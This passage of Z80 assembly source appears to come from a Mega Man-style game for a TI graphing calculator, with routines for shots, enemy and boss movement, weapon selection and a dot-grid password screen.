add a,22 - cp b - ret c - ld a,(ye) - ld b,a - ld a,(wy1) - sub 7 - cp b - ret nc - add a,10 - cp b - ret c - xor a - ld a,(ene) - or a - sub 2 - jr nc,frhite_nokill - xor a -frhite_nokill: - ld (ene),a - or a - ret nz - ld a,3 - ld (echk),a - ret -sfrm_bchk: - ld a,(bchk) - or a - ret z - ld a,(xb) - ld b,a - ld a,(wx1) - sub 11 - cp b - ret nc - add a,22 - cp b - ret c - ld a,(yb) - ld b,a - ld a,(wy1) - sub 11 - cp b - ret nc - add a,14 - cp b - ret c - call dam7_or1 - ld a,(enb) - or a - sub 1 - jr nc,frhitb_nokill - xor a -frhitb_nokill: - ld (enb),a - ret nz - call won - ret -smd_move: - call short_delay - xor a - ld (wchk1),a - ld a,(echk) - or a - jr z,smdm_bchk - cp 3 - jr z,smdm_bchk - call xor_en - ld a,3 - ld (echk),a - xor a - ld (ecount),a -smdm_bchk: - ld a,(bchk) - or a - ret z - call dam7_or1 - ld a,(enb) - or a - sub 1 - jr nc,mdhitb_nokill - xor a -mdhitb_nokill: - ld (enb),a - ret nz - call won - ret -shot1_move: - call xor_wpn1 - ld a,(wpn) - cp 3 - jr z,smd_move - cp 7 - jp z,sfr_move - cp 8 - jp z,ssa_move - ld a,(xmm) - ld b,a - ld a,(wx1) - cp 4 - jr c,sm_end1 - cp 87 - jr nc,sm_end1 - res 0,a - cp b - jr z,sm_end1 - ld b,a - ld a,(wpn) - cp 1 - jr z,sm_short1 - cp 2 - jr z,sm_short1 - cp 6 - jr z,sm_short1 -sm_cont1: - ld a,(wdir1) - or a - ld a,(wpn) - jr z,sm_left1 - inc b - inc b - or a - jr z,smr_two1 - cp 4 - jr z,smr_two1 - cp 6 - jr z,smr_two1 - jr sm_store1 -smr_two1: - inc b - jr sm_store1 -sm_left1: - dec b - dec b - or a - jr z,sml_two1 - cp 4 - jr z,sml_two1 - cp 6 - jr z,sml_two1 -sml_two1: - dec b -sm_store1: - ld a,b - ld (wx1),a - ret -sm_short1: - ld a,(wrem1) - res 0,a - sub b - jr nz,sm_cont1 - ld a,(wpn) - cp 6 - jr z,sm_chg1 -sm_end1: - xor a ; shot is off the screen - ld (wchk1),a - ret -sm_chg1: - ld a,(wdir1) ; reverse dir shot #1 is moving - inc a - and $01 - ld (wdir1),a - jr sm_cont1 -inc_wchk: ; lets you shoot again - inc a - cp 8 - jr nz,keep_wchk - xor a -keep_wchk: - ld (wchk),a - ret -die: - call short_delay - ld a,(lives) - dec a - ld (lives),a - ld a,1 - ld (death),a - ret -won: - ld a,1 - ld (win),a - ld a,(bchk) ; check for boss - or a - ret z - ld a,(boss) ; see if that boss was the spaceship - cp 5 - ret nz - ld a,2 ; if so, set win=2 - ld (win),a - ret -s1_dec: - ld a,(wx1) - dec a - ld (wx1),a - ld a,(wrem1) - dec a - ld (wrem1),a - ret -s2_dec: - ld a,(wx2) - dec a - ld (wx2),a - ld a,(wrem2) - dec a - ld (wrem2),a - ret -s3_dec: - ld a,(wx3) - dec a - ld (wx3),a - ld a,(wrem3) - dec a - ld (wrem3),a - ret -scroll: - bcall(_grbufclr) - ld a,(tempscr) - inc a - cp 8 - jr nz,scroll_cont - ld a,(xscr) - inc a - ld (xscr),a - xor a -scroll_cont: - ld (tempscr),a - ld a,(wchk1) - or a - call nz,s1_dec - ld a,(wchk2) - or a - call nz,s2_dec - ld a,(wchk3) - or a - call nz,s3_dec - ld a,(echk) - or a - call nz,next_en - ld a,(echk) - or a - ret z - cp 3 - ret z - ld a,(xe) ; decrease x-coord of enemy - dec a - ld (xe),a - or a - call z,en_dead - ret -ShowLevel: - ld hl,(xscr) - add hl,hl - add hl,hl - add hl,hl - push hl - pop de - ld hl,(curlvl) - add hl,de - ld bc,0 -RepShowLevel: ; displays the current full screen of the level - ld a,(hl) - cp 5 - call nc,item_init - inc hl - push hl - ld h,0 - ld l,a - add hl,hl - add hl,hl - add hl,hl - ld de,lvlspr - add hl,de - push bc - ld a,(tempscr) - ld d,a - ld a,b - sub d - jr c,skip_8x8 - ld (x2),a - ld a,c - ld (y2),a - ld (smlspr),hl - call xor_8x8 -skip_8x8: - pop bc - pop hl - ld a,c - add a,8 - ld c,a - cp 64 - jr nz,RepShowLevel - ld c,0 - ld a,b - add a,8 - ld b,a - cp 96 - jr nz,RepShowLevel - ret -item_init: - ld d,a - cp 7 - jr nc,t_init - ld a,(item) - cp 2 - jr z,no_item_init - ld a,1 - ld (item),a - ld a,d - ret -no_item_init: - xor a ; replace item sprite with blank sprite - ret -t_init: - ld a,(echk) ; check for existing enemy - or a - jr nz,no_en_init - ld hl,iup ; initialize enemy variables - xor a - ld (edir),a - ld (ecount),a - ld (ecount2),a - inc a - inc a - ld (ene),a - ld a,d - cp 9 - ld a,1 - jr z,i_init - ld a,3 - ld (ene),a - dec a - ld hl,tleft -i_init: - ld (echk),a - ld (enspr),hl - ld a,b - ld (xe),a - ld a,c - ld (ye),a -no_en_init: - xor a ; replace enemy sprite with blank sprite - ret -load_x: ; loads x location (input as hl) into hl, accounting for scrolling - push hl - ld hl,(xscr) - add hl,hl - add hl,hl - add hl,hl - pop de - add hl,de - push hl - ld hl,(tempscr) - pop de - add hl,de - ret -feet_inc: ; feet changes from 0 to 1 to 2 to 3 to 0 - ld a,(feet) - inc a - cp 4 - jr nz,store_feet - xor a -store_feet: - ld (feet),a - ret -sub_screen: - push af - bcall(_clrlcdfull) - bcall(_grbufclr) - call tiny_delay - xor a - ld (wchk1),a - ld (wchk2),a - ld (wchk3),a - ld a,(wpn) - or a - jr z,ss_cont - cp 1 - jr z,en_an - cp 2 - jr z,en_ma - cp 3 - jr z,en_md - cp 4 - jr z,en_do - cp 5 - jr z,en_se - cp 6 - jr z,en_po - cp 7 - jr z,en_fr - cp 8 - jr z,en_sa - cp 9 - jr z,en_mi -en_an: - ld a,(enwpn) - ld (enan),a - jr ss_cont -en_ma: - ld a,(enwpn) - ld (enma),a - jr ss_cont -en_md: - ld a,(enwpn) - ld (enmd),a - jr ss_cont -en_do: - ld a,(enwpn) - ld (endo),a - jr ss_cont -en_se: - ld a,(enwpn) - ld (ense),a - jr ss_cont -en_po: - ld a,(enwpn) - ld (enpo),a - jr ss_cont -en_fr: - ld a,(enwpn) - ld (enfr),a - jr ss_cont -en_sa: - ld a,(enwpn) - ld (ensa),a - jr ss_cont -en_mi: - ld a,(enwpn) - ld (enmi),a -ss_cont: - ld a,28 - ld (x2),a - ld a,53 - ld (y2),a - ld hl,tank - ld (smlspr),hl - call xor_8x8 - ld a,55 - ld (x2),a - ld hl,head - ld (smlspr),hl - call xor_8x8 - ld hl,ss_cont_lindat - call draw - xor a - ld (x2),a - inc a - ld (y2),a - ld hl,pwdot - ld (smlspr),hl -ss_loop_new: - call xor_8x8 - call fastcopys - ld a,(lvldone) - bit 0,a - jr z,ss_line1 - ld d,16 - ld e,15 - push af - ld a,(enan) - add a,17 - ld h,a - ld l,15 - ld a,1 - call fastline - pop af -ss_line1: - bit 1,a - jr z,ss_line2 - ld d,16 - ld e,25 - push af - ld a,(enma) - add a,17 - ld h,a - ld l,25 - ld a,1 - call fastline - pop af -ss_line2: - bit 2,a - jr z,ss_line3 - ld d,16 - ld e,35 - push af - ld a,(enmd) - add a,17 - ld h,a - ld l,35 - ld a,1 - call fastline - pop af -ss_line3: - bit 3,a - jr z,ss_line4 - ld d,16 - ld e,45 - push af - ld a,(endo) - add a,17 - ld h,a - ld l,45 - ld a,1 - call fastline - pop af -ss_line4: - bit 4,a - jr z,ss_line5 - ld d,63 - ld e,15 - push af - ld a,(enpo) - add a,64 - ld h,a - ld l,15 - ld a,1 - call fastline - pop af -ss_line5: - bit 5,a - jr z,ss_line6 - ld d,63 - ld e,5 - push af - ld a,(ense) - add a,64 - ld h,a - ld l,5 - ld a,1 - call fastline - ld d,63 - ld e,25 - ld a,(enfr) - add a,64 - ld h,a - ld l,25 - ld a,1 - call fastline - pop af -ss_line6: - bit 6,a - jr z,ss_line7 - ld d,63 - ld e,35 - push af - ld a,(ensa) - add a,64 - ld h,a - ld l,35 - ld a,1 - call fastline - pop af -ss_line7: - bit 7,a - jr z,ss_line_done - ld d,63 - ld e,45 - ld a,(enmi) - add a,64 - ld h,a - ld l,45 - ld a,1 - call fastline -ss_line_done: - ld d,16 - ld e,5 - ld a,(enp) - add a,17 - ld h,a - ld l,5 - ld a,1 - call fastline - call fastcopys - ld a,(lvldone) - bit 0,a - jr z,ss_bit1 - ld de,12*256+7 - ld hl,an - call setvputs -ss_bit1: - bit 1,a - jr z,ss_bit2 - ld de,22*256+7 - ld hl,ma - call setvputs -ss_bit2: - bit 2,a - jr z,ss_bit3 - ld de,32*256+7 - ld hl,md - call setvputs -ss_bit3: - bit 3,a - jr z,ss_bit4 - ld de,42*256+7 - ld hl,do - call setvputs -ss_bit4: - bit 4,a - jr z,ss_bit5 - ld de,12*256+54 - ld hl,po - call setvputs -ss_bit5: - bit 5,a - jr z,ss_bit6 - ld de,22*256+54 - ld hl,fr - call setvputs - ld de,2*256+54 - ld hl,se - call setvputs -ss_bit6: - bit 6,a - jr z,ss_bit7 - ld de,32*256+54 - ld hl,sa - call setvputs -ss_bit7: - bit 7,a - jr z,ss_loop_init - ld de,42*256+54 - ld hl,mi - call setvputs -ss_loop_init: - ld de,2*256+7 - ld hl,p - call setvputs - ld a,(tanks) - bcall(_setxxop1 - ld hl,54*256+40 - ld (pencol),hl - ld a,1 - bcall(_dispop1a) - ld a,(lives) - bcall(_setxxop1) - ld hl,54*256+67 - ld (pencol),hl - ld a,1 - bcall(_dispop1a) - call xor_8x8 -ss_loop: - bcall(_getcsc) - cp kUp - jp z,ss_up - cp kDown - jp z,ss_down - cp kLeft - jp z,ss_horz - cp kRight - jp z,ss_horz - cp k2nd - jp z,ss_tank - cp kMode - jp z,ss_mode - cp kYEq - jr nz,ss_loop - ld hl,wpp - ld a,(lvldone) - ld b,a - ld a,(x2) - or a - ld a,(y2) - jr z,wpn_left - cp 1 - jr z,ss_se - cp 11 - jp z,ss_po - cp 21 - jp z,ss_fr - cp 31 - jp z,ss_sa - jp ss_mi -wpn_left: - ld c,0 - ld hl,wpp - cp 1 - jp z,ss_exit - cp 11 - jr z,ss_an - cp 21 - jr z,ss_ma - cp 31 - jr z,ss_md - jr ss_do -ss_an: - bit 0,b - jr z,ss_loop - ld c,1 - ld a,(enan) - ld (enwpn),a - ld hl,wpan - jp ss_exit -ss_ma: - bit 1,b - jr z,ss_loop - ld c,2 - ld a,(enma) - ld (enwpn),a - ld hl,wpma - jr ss_exit -ss_md: - bit 2,b - jp z,ss_loop - ld c,3 - ld a,(enmd) - ld (enwpn),a - ld hl,wpmd - jr ss_exit -ss_do: - bit 3,b - jp z,ss_loop - ld c,4 - ld a,(endo) - ld (enwpn),a - ld hl,wpdo - jr ss_exit -ss_se: - bit 5,b - jp z,ss_loop - ld c,5 - ld a,(ense) - ld (enwpn),a - ld hl,wpse - jr ss_exit -ss_po: - bit 4,b - jp z,ss_loop - ld c,6 - ld a,(enpo) - ld (enwpn),a - ld hl,wppo - jr ss_exit -ss_fr: - bit 5,b - jp z,ss_loop - ld c,7 - ld a,(enfr) - ld (enwpn),a - ld hl,wpfr - jr ss_exit -ss_sa: - bit 6,b - jp z,ss_loop - ld c,8 - ld a,(ensa) - ld (enwpn),a - ld hl,wpsa - jr ss_exit -ss_mi: - bit 7,b - jp z,ss_loop - ld c,9 - ld a,(enmi) - ld (enwpn),a - ld hl,wpmi -ss_exit: - ld a,c - ld (wpn),a - ld (wpnspr),hl - bcall(_clrlcdfull) - bcall(_grbufclr) - call ShowLevel - pop af - call tiny_delay - ret -ss_mode: - pop bc ; pop to something other than af so it remembers that MODE has been pressed - ret -ss_up: - ld a,(y2) - cp 1 - jr z,ss_vert - sub 10 - ld (y2),a - jp ss_loop_new -ss_down: - ld a,(y2) - cp 41 - jr z,ss_vert - add a,10 - ld (y2),a - jp ss_loop_new -ss_vert: - ld b,a - ld a,42 - sub b - ld (y2),a - jp ss_loop_new -ss_horz: - ld a,(x2) - ld b,a - ld a,47 - sub b - ld (x2),a - jp ss_loop_new -ss_tank: - ld a,(tanks) - or a - jp z,ss_loop_new - dec a - ld (tanks),a - ld a,28 - ld (enp),a - jp ss_loop_new -xor_char: - ld ix,(curpic) - ld b,12 - ld a,(ymm) - ld l,a - ld a,(xmm) - call isprite - ret -check_spr: - ld a,(dir) - or a - jr z,check_spr_l -check_spr_r: - ld hl,mmhr - ld a,(hchk) - or a - jr nz,found_spr - ld a,(ymm) - add a,12 - call CheckVert - jr c,not_jump_r - ld hl,mmjr - ld a,(jchk) - or a - jr nz,found_spr -not_jump_r: - ld hl,mmwr - ld a,(wchk) - or a - jr nz,found_spr - ret -check_spr_l: - ld hl,mmhl - ld a,(hchk) - or a - jr nz,found_spr - ld a,(ymm) - add a,12 - call CheckVert - jr c,not_jump_l - ld hl,mmjl - ld a,(jchk) - or a - jr nz,found_spr -not_jump_l: - ld hl,mmwl - ld a,(wchk) - or a - jr nz,found_spr - ret -found_spr: - ld (curpic),hl - ret -find_spr: - ld a,(dir) - or a - jr z,left_spr - ld hl,mmsr - jr found_spr -left_spr: - ld hl,mmsl - jr found_spr -t_move: - call xor_en - call check_en_dist - ld a,(edir) - or a - ld a,(xe) - jr z,t_move_l - inc a - jr t_move_r -t_move_l: - dec a - or a - call z,en_dead -t_move_r: - ld (xe),a - ret -i_move: - call xor_en - call check_en_dist - ld a,(edir) - or a - ld a,(ye) - jr z,i_move_u - inc a - jr i_move_d -i_move_u: - dec a -i_move_d: - ld (ye),a - ret -ti_check: - ld a,(echk) - cp 3 - jr nz,tic_cont - xor a - ld (echk),a -tic_cont: - ld b,46 - ld c,46 - ld a,(bcount) - inc a - ld (bcount),a - cp 50 - ld a,7 - call z,item_init - ld a,(bcount) - cp 100 - ld a,9 - call z,item_init - ld a,(bcount) - cp 100 - ret nz - xor a - ld (bcount),a - ret -ship_check: - ld a,(bcount) - inc a - cp 50 - jr z,ship_laser - ld (bcount),a - ret -ship_laser: - xor a - ld (bcount),a - ld b,1 - call xor_laser - call short_delay - ld a,(ymm) - cp 38 - call c,die - ld b,0 - call xor_laser - ret -boss_move: - call xor_boss - ld a,(boss) - or a - jr z,ti_check - cp 5 - jr z,ship_check - ld a,(bjchk) - or a - jr nz,boss_jump - ld a,(bdir) - or a - ld a,(xb) - jr z,boss_move_l - inc a - cp 76 - jr boss_move_r -boss_move_l: - dec a - cp 56 -boss_move_r: - ld (xb),a - jr z,boss_turn - cp 66 - call z,boss_shoot - ret -boss_turn: - ld a,(bdir) ; reverse dir boss is moving - ld b,a - ld a,1 - sub b - ld (bdir),a - ld a,2 - ld (bjchk),a - ret -boss_jump: - ld a,(bjchk) - cp 1 - ld a,(yb) - jr z,boss_fall - dec a - cp 34 - jr boss_jump_end -boss_fall: - inc a - cp 44 -boss_jump_end: - ld (yb),a - ret nz - ld a,(bjchk) - dec a - ld (bjchk),a - ret -bshoot_sa: - ld a,(xb) - ld (bwx),a - call xor_boss - ret -bshoot_fr: - ld a,(xb) - ld (bwx),a - ret -bshoot_md: - ld a,(xb) - sub 8 - ld (bwx),a - ret -boss_shoot: - ld a,(bwchk) - or a - ret nz - inc a - ld (bwchk),a - ld a,(boss) - cp 3 - jr z,bshoot_md - cp 7 - jr z,bshoot_fr - cp 8 - jr z,bshoot_sa - ld a,58 - ld (bwx),a - ret -bssa_move: - call xor_boss - call check_spr - call xor_char -bssam_loop: - ld a,(bwx) - dec a - ld (bwx),a - call xor_bwpn - call fastcopys - call xor_bwpn - ld a,(bwx) - or a - jr nz,bssam_loop -bssam_loop2: - ld a,(bwx) - inc a - ld (bwx),a - call xor_bwpn - call fastcopys - call xor_bwpn - ld a,(bwx) - cp 88 - jr nz,bssam_loop2 -bssam_loop3: - ld a,(bwx) - dec a - ld (bwx),a - call xor_bwpn - call fastcopys - call xor_bwpn - ld a,(xb) - ld b,a - ld a,(bwx) - cp b - jr nz,bssam_loop3 - xor a - ld (bwchk),a - call check_spr - call xor_char - ld a,(ymm) - ld b,a - ld a,37 - cp b - ret nc - add a,16 - cp b - ret c - ld a,(enp) - or a - sub 4 - jr nc,bssam_nokill - xor a -bssam_nokill: - ld (enp),a - ret -bsfr_move: - call check_spr - call xor_char - call xor_boss - call xor_bwpn - call fastcopys - call xor_char - call xor_boss - call xor_bwpn - call short_delay - xor a - ld (bwchk),a - ld a,(xmm) - ld b,a - ld a,55 - cp b - ret nc - add a,22 - cp b - ret c - ld a,(ymm) - ld b,a - ld a,33 - cp b - ret nc - add a,11 - cp b - ret c - ld a,(enp) - or a - sub 4 - jr nc,bsfrm_nokill - xor a -bsfrm_nokill: - ld (enp),a - ret -bsmd_move: - call short_delay - ld a,(enp) - or a - sub 4 - jr nc,bsmdm_nokill - xor a -bsmdm_nokill: - ld (enp),a - xor a - ld (bwchk),a - ret -boss_shot_move: - call xor_bwpn - ld a,(boss) - cp 8 - jp z,bssa_move - cp 3 - jr z,bsmd_move - cp 7 - jr z,bsfr_move - ld a,(xb) - ld b,a - ld a,(bwx) - cp 2 - jr c,bsm_end - cp b - jr z,bsm_end - ld b,a -bsm_cont: - dec b - dec b - ld a,(boss) - cp 4 - jr nz,bsm_store - dec b -bsm_store: - ld a,b - ld (bwx),a - ret -bsm_end: - xor a ; boss's shot is off the screen - ld (bwchk),a - ret -check_en_dist: ; check distance enemy has moved and turn around if necessary - ld a,(ecount) - inc a - cp 33 - call z,en_turn - ld (ecount),a - ret -en_turn: - ld hl,(enspr) - ld de,8 - ld a,(edir) - or a - jr z,en_turn_r - sbc hl,de - dec a - jr en_turn_l -en_turn_r: - add hl,de - inc a -en_turn_l: - ld (enspr),hl - ld (edir),a - xor a - ret -en_dead: ; enemy is now dead - ld a,3 - ld (echk),a - xor a - ld (ecount),a - ret -next_en: ; check if previous enemy is clear so next enemy can initialize - ld a,(ecount2) - inc a - ld (ecount2),a - cp 96 - ret nz - xor a - ld (echk),a - ret -xor_en: - ld ix,(enspr) - ld b,8 - ld a,(ye) - ld l,a - ld a,(xe) - call isprite - ret -xor_corners: - ld hl,uprlft - ld (smlspr),hl - call xor_8x8 - ld a,(x2) - add a,22 - ld (x2),a - ld hl,uprrt - ld (smlspr),hl - call xor_8x8 - ld a,(y2) - add a,12 - ld (y2),a - ld hl,lwrrt - ld (smlspr),hl - call xor_8x8 - ld a,(x2) - sub 22 - ld (x2),a - ld hl,lwrlft - ld (smlspr),hl - call xor_8x8 - ld a,(y2) - sub 12 - ld (y2),a - ret -xor_8x8: - ld ix,(smlspr) - ld b,8 - ld a,(y2) - ld l,a - ld a,(x2) - call isprite - ret -xor_wpn1: - ld ix,(wpnspr) - ld b,4 - ld a,(wy1) - ld l,a - ld a,(wx1) - call isprite - ret -xor_wpn2: - ld ix,(wpnspr) - ld b,4 - ld a,(wy2) - ld l,a - ld a,(wx2) - call isprite - ret -xor_wpn3: - ld b,4 - ld a,(wy3) - ld l,a - ld a,(wx3) - ld ix,(wpnspr) - call isprite - ret -xor_bwpn: - ld b,4 - ld l,49 - ld a,(bwx) - ld ix,(bwspr) - call isprite - ret -tiny_delay: - ld b,20 - jr del_loop -short_delay: - ld b,50 - jr del_loop -long_delay: - call delay -med_delay: - ld b,100 - jr del_loop -delay: - ld b,200 -del_loop: - halt - halt - djnz del_loop - ret -disp_boss: - ld (bosspic),hl - bcall(_clrlcdfull) - bcall(_grbufclr) - xor a - ld (x2),a - ld a,16 - ld (y2),a - ld hl,bint - ld (smlspr),hl - ld b,12 -draw1: - push bc - call xor_8x8 - ld a,(x2) - add a,8 - ld (x2),a - pop bc - djnz draw1 - ld a,0 - ld (x2),a - ld a,40 - ld (y2),a - ld hl,bint - ld (smlspr),hl - ld b,12 -draw2: - push bc - call xor_8x8 - ld a,(x2) - add a,8 - ld (x2),a - pop bc - djnz draw2 - call xor_boss - call fastcopys - ret -xor_boss: - ld b,12 - ld a,(yb) - ld l,a - ld a,(xb) - ld ix,(bosspic) - call isprite - ret -no_an: - ld hl,no_an_lindat - call draw - ret -no_ma: - ld hl,no_ma_lindat - call draw - ret -no_md: - ld hl,no_md_lindat - call draw - ret -no_do: - ld hl,no_do_lindat - call draw - ret -no_po: - ld hl,no_po_lindat - call draw - ret -no_fr: - ld hl,no_fr_lindat - call draw - ret -no_sa: - ld hl,no_sa_lindat - call draw - ret -no_mi: - ld hl,no_mi_lindat - call draw - ret -you_got: - bcall(_clrlcdfull) - bcall(_grbufclr) - ld hl,you_got_lindat - call draw - ld hl,35 - ld (xmm),hl - ld a,50 - ld (ymm),a - ld hl,mmsr - ld (curpic),hl - ld a,43 - ld (wx1),a - ld a,51 - ld (wy1),a - ld a,(boss) - ld hl,wpmd - cp 3 - jr z,yg_cont - ld hl,mmwr - ld (curpic),hl - ld a,55 - ld (wx1),a - ld a,55 - ld (wy1),a - ld a,(boss) - ld hl,wpan - cp 1 - jr z,yg_cont - ld hl,wpma - cp 2 - jr z,yg_cont - ld hl,wpdo - cp 4 - jr z,yg_cont - ld hl,wppo - cp 6 - jr z,yg_cont - cp 9 - ld hl,wpmi - jr z,yg_cont - push af - ld a,35 - ld (wx1),a - ld a,54 - ld (wy1),a - call xor_char - pop af - ld hl,wpsa - cp 8 - jr z,yg_cont - ld hl,wpfr - ld (wpnspr),hl - call xor_wpn1 - ld a,50 - ld (wy1),a - call xor_wpn1 - ld a,58 - ld (wy1),a - ld hl,wpfr -yg_cont: - ld (wpnspr),hl - call xor_wpn1 - call xor_char - call fastcopys - ld de,10*256+35 - ld hl,yougot - call setvputs - ld a,(boss) - cp 1 - jr z,yg_an - cp 2 - jr z,yg_ma - cp 3 - jr z,yg_md - cp 4 - jr z,yg_do - cp 6 - jr z,yg_po - cp 7 - jr z,yg_fr - cp 8 - jr z,yg_sa - jr yg_mi -yg_an: - ld de,20*256+28 - ld hl,ygan - call setvputs - jr yg_loop -yg_ma: - ld de,20*256+25 - ld hl,ygma - call setvputs - jr yg_loop -yg_md: - ld de,20*256+20 - ld hl,ygmd - call setvputs - jr yg_loop -yg_do: - ld de,20*256+26 - ld hl,ygdo - call setvputs - jr yg_loop -yg_po: - ld de,20*256+18 - ld hl,ygpo - call setvputs - jr yg_loop -yg_fr: - ld de,20*256+31 - ld hl,ygfr - call setvputs - ld de,30*256+12 - ld hl,ygse - call setvputs - ld de,53*256+55 - ld hl,se - call setvputs - jr yg_loop -yg_sa: - ld de,20*256+28 - ld hl,ygsa - call setvputs - jr yg_loop -yg_mi: - ld de,20*256+28 - ld hl,ygmi - call setvputs -yg_loop: - bcall(_getcsc) - cp kMode - ret z - cp kEnter - jr nz,yg_loop - ret -draw_grid: - bcall(_clrlcdfull) - bcall(_grbufclr) - ld hl,draw_grid_lindat - call draw - ret -pw_text: - ld de,1*256+31 - ld hl,one - call setvputs - ld de,1*256+40 - ld hl,two - call setvputs - ld de,1*256+49 - ld hl,three - call setvputs - ld de,1*256+58 - ld hl,four - call setvputs - ld de,1*256+67 - ld hl,five - call setvputs - ld de,10*256+23 - ld hl,a - call setvputs - ld de,19*256+23 - ld hl,b - call setvputs - ld de,28*256+23 - ld hl,c - call setvputs - ld de,37*256+23 - ld hl,d - call setvputs - ld de,46*256+23 - ld hl,e - call setvputs - ld de,56*256+32 - ld hl,enter - call setvputs - ret -show_pw: - call draw_grid - ld a,(tanks) ; find correct password dot for number of tanks - ld b,1 - or a - jr z,spw_cont - ld b,2 - cp 1 - jr z,spw_cont - ld b,4 - cp 2 - jr z,spw_cont - ld b,8 - cp 3 - jr z,spw_cont - ld b,16 -spw_cont: - ld a,b - ld (tankpw),a - ld hl,pwdot - ld (smlspr),hl - ld a,(lvldone) - bit 0,a - jr z,no_an_dot - ld a,28 - jr an_dot -no_an_dot: - ld a,46 -an_dot: - ld (y2),a - ld a,47 - ld (x2),a - call xor_8x8 - ld a,(lvldone) - bit 1,a - jr z,no_ma_dot - ld a,10 - ld (y2),a - ld a,38 - jr ma_dot -no_ma_dot: - ld a,28 - ld (y2),a - ld a,65 -ma_dot: - ld (x2),a - call xor_8x8 - ld a,(lvldone) - bit 2,a - jr z,no_md_dot - ld a,46 - ld (y2),a - ld a,65 - jr md_dot -no_md_dot: - ld a,10 - ld (y2),a - ld a,56 -md_dot: - ld (x2),a - call xor_8x8 - ld a,(lvldone) - bit 3,a - jr z,no_do_dot - ld a,37 - ld (y2),a - ld a,47 - jr do_dot -no_do_dot: - ld a,46 - ld (y2),a - ld a,38 -do_dot: - ld (x2),a - call xor_8x8 - ld a,(lvldone) - bit 4,a - jr z,no_po_dot - ld a,37 - ld (y2),a - ld a,29 - jr po_dot -no_po_dot: - ld a,19 - ld (y2),a - ld a,65 -po_dot: - ld (x2),a - call xor_8x8 - ld a,(lvldone) - bit 5,a - jr z,no_fr_dot - ld a,56 - jr fr_dot -no_fr_dot: - ld a,29 -fr_dot: - ld (x2),a - ld a,19 - ld (y2),a - call xor_8x8 - ld a,(lvldone) - bit 5,a - jr z,no_se_dot - ld a,46 - ld (y2),a - ld a,29 - jr se_dot -no_se_dot: - ld a,28 - ld (y2),a - ld a,56 -se_dot: - ld (x2),a - call xor_8x8 - ld a,(lvldone) - bit 6,a - jr z,no_sa_dot - ld a,38 - jr sa_dot -no_sa_dot: - ld a,47 -sa_dot: - ld (x2),a - ld a,19 - ld (y2),a - call xor_8x8 - ld a,(lvldone) - bit 7,a - jr z,no_mi_dot - ld a,28 - ld (y2),a - ld a,38 - jr mi_dot -no_mi_dot: - ld a,37 - ld (y2),a - ld a,56 -mi_dot: - ld (x2),a - call xor_8x8 -tank_dot: - ld a,(tankpw) - ld b,a - ld a,10 - ld (y2),a - ld a,47 - ld (x2),a - bit 0,b - jr nz,tank_dot_found - ld a,46 - ld (y2),a - ld a,56 - ld (x2),a - bit 1,b - jr nz,tank_dot_found - ld a,28 - ld (y2),a - ld a,29 - ld (x2),a - bit 2,b - jr nz,tank_dot_found - ld a,10 - ld (y2),a - ld a,65 - ld (x2),a - bit 3,b - jr nz,tank_dot_found - ld a,37 - ld (y2),a - ld a,38 - ld (x2),a -tank_dot_found: - call xor_8x8 - call fastcopys - call pw_text -show_pw_loop: - bcall(_getcsc) - cp kMode - ret z - cp kEnter - jr nz,show_pw_loop - ret -enter_pw: - xor a - ld (anpw),a - ld (mapw),a - ld (mdpw),a - ld (dopw),a - ld (popw),a - ld (frpw),a - ld (sepw),a - ld (sapw),a - ld (mipw),a - ld (tankpw),a - call draw_grid - ld hl,pwcurs - ld (smlspr),hl - ld a,10 - ld (y2),a - ld a,29 - ld (x2),a -ep_loop_new: - call xor_8x8 - call fastcopys - call pw_text - call xor_8x8 -ep_loop: - bcall(_getcsc) - cp kLeft - jr z,ep_left - cp kRight - jr z,ep_right - cp kUp - jr z,ep_up - cp kDown - jr z,ep_down - cp k2nd - jr z,ep_dot - cp kEnter - jp z,check_pw - cp kMode - ret z - jr ep_loop -ep_left: - ld a,(x2) - cp 29 - jr z,ep_horz - sub 9 - ld (x2),a - jr ep_loop_new -ep_right: - ld a,(x2) - cp 65 - jr z,ep_horz - add a,9 - ld (x2),a - jr ep_loop_new -ep_horz: - ld b,a - ld a,94 - sub b - ld (x2),a - jr ep_loop_new -ep_up: - ld a,(y2) - cp 10 - jr z,ep_vert - sub 9 - ld (y2),a - jr ep_loop_new -ep_down: - ld a,(y2) - cp 46 - jr z,ep_vert - add a,9 - ld (y2),a - jr ep_loop_new -ep_vert: - ld b,a - ld a,56 - sub b - ld (y2),a - jr ep_loop_new -ep_dot: - ld hl,pwdot - ld (smlspr),hl - call xor_8x8 - ld hl,pwcurs - ld (smlspr),hl - ld a,(y2) - cp 10 - jr z,rowa - cp 19 - jr z,rowb - cp 28 - jp z,rowc - cp 37 - jp z,rowd - jp rowe -rowa: - ld a,(x2) - cp 29 - jr z,rowa_col1 - cp 38 - jr z,rowa_col2 - cp 47 - jr z,rowa_col3 - cp 56 - jr z,rowa_col4 - jr rowa_col5 -rowa_col1: - ld a,(tankpw) - bit 5,a - set 5,a - jp z,tankpw_done - res 5,a - jp tankpw_done -rowa_col2: - ld a,(mapw) - bit 1,a - set 1,a - jr z,mapw_done - res 1,a -mapw_done: - ld (mapw),a - jp ep_loop_new -rowa_col3: - ld a,(tankpw) - bit 0,a - set 0,a - jp z,tankpw_done - res 0,a - jp tankpw_done -rowa_col4: - ld a,(mdpw) - bit 0,a - set 0,a - jr z,mdpw_done - res 0,a -mdpw_done: - ld (mdpw),a - jp ep_loop_new -rowa_col5: - ld a,(tankpw) - bit 3,a - set 3,a - jp z,tankpw_done - res 3,a - jp tankpw_done -rowb: - ld a,(x2) - cp 29 - jr z,rowb_col1 - cp 38 - jr z,rowb_col2 - cp 47 - jr z,rowb_col3 - cp 56 - jr z,rowb_col4 - jr rowb_col5 -rowb_col1: - ld a,(frpw) - bit 0,a - set 0,a - jr z,frpw_done - res 0,a -frpw_done: - ld (frpw),a - jp ep_loop_new -rowb_col2: - ld a,(sapw) - bit 1,a - set 1,a - jr z,sapw_done - res 1,a -sapw_done: - ld (sapw),a - jp ep_loop_new -rowb_col3: - ld a,(sapw) - bit 0,a - set 0,a - jr z,sapw_done - res 0,a - jr sapw_done -rowb_col4: - ld a,(frpw) - bit 1,a - set 1,a - jr z,frpw_done - res 1,a - jr frpw_done -rowb_col5: - ld a,(popw) - bit 0,a - set 0,a - jr z,popw_done - res 0,a -popw_done: - ld (popw),a - jp ep_loop_new -rowc: - ld a,(x2) - cp 29 - jr z,rowc_col1 - cp 38 - jr z,rowc_col2 - cp 47 - jr z,rowc_col3 - cp 56 - jr z,rowc_col4 - jr rowc_col5 -rowc_col1: - ld a,(tankpw) - bit 2,a - set 2,a - jr z,tankpw_done - res 